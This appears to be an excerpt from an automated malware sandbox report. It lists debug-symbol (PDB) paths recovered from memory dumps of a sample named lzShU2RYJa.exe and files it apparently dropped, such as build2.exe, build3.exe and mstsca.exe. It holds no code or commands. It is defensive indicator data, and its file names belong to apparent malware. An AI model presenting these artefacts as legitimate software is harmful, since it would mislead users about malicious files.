Source:	Binary string: 51~1cont3897ntkrnlmp.pdb source: lzShU2RYJa.exe, 00000004.00000003.2077051503.0000000003116000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197421831.000000000349A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2203036181.000000000349A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\6f source: lzShU2RYJa.exe, 00000004.00000003.2183728527.000000000351E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2190963116.000000000351E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189229761.0000000003517000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2190316884.000000000351C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000000.1745205959.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000002.1749056739.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1746563479.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\cG source: lzShU2RYJa.exe, 00000004.00000003.2135325844.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\rer\\Yy source: lzShU2RYJa.exe, 00000004.00000003.2169647341.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: lzShU2RYJa.exe, 00000004.00000003.2163118471.0000000009AF7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.errorzq} source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error.bgzqt\Mic source: lzShU2RYJa.exe, 00000004.00000003.2077014562.0000000009ABD000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077112602.0000000009AC9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076808618.0000000009AB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\input\es-PR\od.pdb\we\\r$ source: lzShU2RYJa.exe, 00000004.00000003.2195950388.0000000009C14000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2193856481.0000000009C0C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\pl source: lzShU2RYJa.exe, 00000004.00000003.2178293005.0000000003483000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2186063956.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\pl source: lzShU2RYJa.exe, 00000004.00000003.2176829706.000000000315F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098898394.0000000003158000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097897568.000000000313E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121861502.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2136215726.0000000003165000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2202492655.000000000316B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077179286.0000000003163000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2136052838.0000000003148000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189983327.000000000315F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150619847.0000000003165000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1826729527.000000000315C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2099179740.000000000315C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152403486.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169864541.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163283393.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2101129948.000000000316A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197051494.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2184683256.000000000315D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\* source: lzShU2RYJa.exe, 00000004.00000003.2123477813.0000000009C89000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121752665.0000000009C89000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2176971750.00000000035CF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169220062.00000000035FB000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2177523422.00000000035D0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2177624853.0000000003600000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\<w source: lzShU2RYJa.exe, 00000004.00000003.2097856150.0000000003195000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076682651.0000000003178000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2176633429.000000000319A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: lzShU2RYJa.exe, lzShU2RYJa.exe, 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000005.00000002.1678165141.0000000005F20000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000A.00000002.1811861387.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000017.00000002.2074026012.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\[F source: lzShU2RYJa.exe, 00000004.00000003.2176971750.00000000035CF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169220062.00000000035FB000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2177523422.00000000035D0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2177624853.0000000003600000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: lzShU2RYJa.exe, 00000004.00000003.2193038000.0000000003556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\DG source: lzShU2RYJa.exe, 00000004.00000003.2135325844.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\fixah\rarekoxewun-kadezezetoz\xaridevo pebudujogoril40\pom.pdb source: lzShU2RYJa.exe
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\** source: lzShU2RYJa.exe, 00000004.00000003.2098077997.0000000009ABB000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098716368.0000000009AD0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121639008.0000000009AD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: lzShU2RYJa.exe, 00000004.00000003.2136011626.0000000009B55000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143820420.0000000009B58000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135686106.0000000009B05000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135910274.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135572547.0000000009B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2135826101.0000000009AD7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135572547.0000000009AD0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143414530.0000000009AE1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2144246008.0000000009AE2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163014831.0000000009C4C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121424734.0000000009B94000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162899841.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121752665.0000000009C25000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2122082817.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135968682.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135279219.0000000009C38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\%T source: lzShU2RYJa.exe, 00000004.00000003.2177341450.000000000317C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\e\ source: lzShU2RYJa.exe, 00000004.00000003.2183412855.0000000009BF2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: lzShU2RYJa.exe, 00000004.00000003.1761324871.0000000009A80000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\State\@ source: lzShU2RYJa.exe, 00000004.00000003.2176829706.000000000315F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098898394.0000000003158000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097897568.000000000313E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121861502.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2136215726.0000000003165000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2202492655.000000000316B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077179286.0000000003163000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2136052838.0000000003148000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189983327.000000000315F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150619847.0000000003165000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1826729527.000000000315C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2099179740.000000000315C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152403486.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169864541.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163283393.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2101129948.000000000316A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197051494.0000000003168000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2184683256.000000000315D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: lzShU2RYJa.exe, 00000004.00000003.2143613910.0000000003506000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149867647.00000000034DE000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135325844.0000000003506000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152301005.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2144436118.0000000009B4B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135686106.0000000009B05000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135910274.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135572547.0000000009B00000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150881074.00000000034DF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143473172.0000000009B3A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: lzShU2RYJa.exe, 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000005.00000002.1678165141.0000000005F20000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000A.00000002.1811861387.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000017.00000002.2074026012.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\*m source: lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgzq source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163014831.0000000009C4C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121424734.0000000009B94000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009AED000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162899841.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121752665.0000000009C25000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2122082817.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135968682.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135279219.0000000009C38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.errorONTENT_TASKBARHEADLINES.json source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\oA source: lzShU2RYJa.exe, 00000004.00000003.2183412855.0000000009BF2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HC:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000D.00000002.1907038497.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000D.00000000.1825240894.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 00000010.00000000.1905657736.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000013.00000002.2007233188.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000013.00000000.1918649679.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000014.00000000.2006210701.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000002.2400290740.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000000.2348483514.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001A.00000000.2399555680.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000000.2938646873.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000002.3044272874.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001D.00000000.3043484355.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000002.3649760311.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000000.3538727281.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001F.00000000.3648799131.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\& source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\0 source: lzShU2RYJa.exe, 00000004.00000003.2135325844.00000000034AE000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143613910.00000000034AE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: lzShU2RYJa.exe, 00000004.00000003.2193932559.0000000009B4A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2194205438.0000000009B55000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: lzShU2RYJa.exe, 00000004.00000003.2136052838.0000000003148000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152536206.0000000003153000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150429007.0000000003150000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143275820.000000000314E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1816443458.000000000315D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1816512954.000000000315D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1826729527.000000000315C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\B source: lzShU2RYJa.exe, 00000004.00000003.2076724094.0000000009AF4000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009AED000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098125497.0000000009B4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ata\oU`c source: lzShU2RYJa.exe, 00000004.00000003.2176633429.000000000319A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2149867647.00000000034DE000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152301005.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164267101.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165069465.000000000351F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165212212.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150881074.00000000034DF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163538558.00000000034E9000.00000004.00000020.00020000.00000000.sdmp
